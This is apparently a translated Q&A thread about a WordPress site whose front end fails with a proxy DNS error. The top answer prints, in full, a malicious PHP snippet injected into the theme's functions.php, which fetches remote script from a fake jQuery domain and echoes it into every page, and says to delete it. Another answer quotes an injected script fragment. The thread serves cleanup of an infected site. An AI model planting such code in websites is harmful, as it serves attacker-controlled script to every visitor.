Wordpress网站无法输入 - 无法检索请求的网址

时间:2012-11-21 10:01:21

标签: wordpress security

请帮助解决问题,因为我无法猜测如何解决它。

当我进入我的wordpress网站时,会出现以下消息:

The requested URL could not be retrieved

While trying to retrieve the URL: http://www1.ghost-bikes.dp.ua/?

The following error was encountered:

Unable to determine IP address from host name for www1.ghost-bikes.dp.ua
The dnsserver returned:

Name Error: The domain name does not exist.
This means that:

 The cache was not able to resolve the hostname presented in the URL. 
 Check if the address is correct. 
Your cache administrator is support. 
Generated Wed, 21 Nov 2012 09:57:05 GMT by none (squid/3.0.STABLE20)

管理区域(/ wp-admin)通常打开并正常工作。 我想这是一种病毒。我该怎么办?

4 个答案:

答案 0 :(得分:1)

打开主题functions.php并查找以下代码:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}

如果你找到它,只需删除它,你就可以了。

我刚在其他网站上发现了这样的问题 - 看here

答案 1 :(得分:0)

尝试逐个停用WordPress插件,看看消息是否消失。如果是这样,你就会知道它来自哪里。

答案 2 :(得分:0)

您正在使用代理服务器SQUID

你的鱿鱼找不到这个域名:www1.ghost-bikes.dp.ua 由于此域不存在 - 无法将此域解析为IP地址

所以,这不是与Wordpress相关的问题。这是一个DNS问题

已更新

似乎这个域名由Imena.com.ua提供 - 因此您应该登录imena.com.ua上的帐户,并在DNS记录中添加www1域名。

已更新

转到wordpress安装文件夹,尝试在文件中找到类似的内容:

    <script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame()
    </script>

删除这些行。

答案 3 :(得分:-1)

登录托管环境的DNS面板并检查DNS设置。

如果那些没有解决它......你可以试试这个:

//在wp-config

define('WP_SITEURL','http://www.site.nl');

define('WP_HOME','http://www.site.nl');

//位于顶部的functions.php中。首次运行后删除。

update_option( 'SITEURL', 'http://www.site.nl');

update_option( '家', 'http://www.site.nl');

这将在整个站点中设置正确的URL或IP。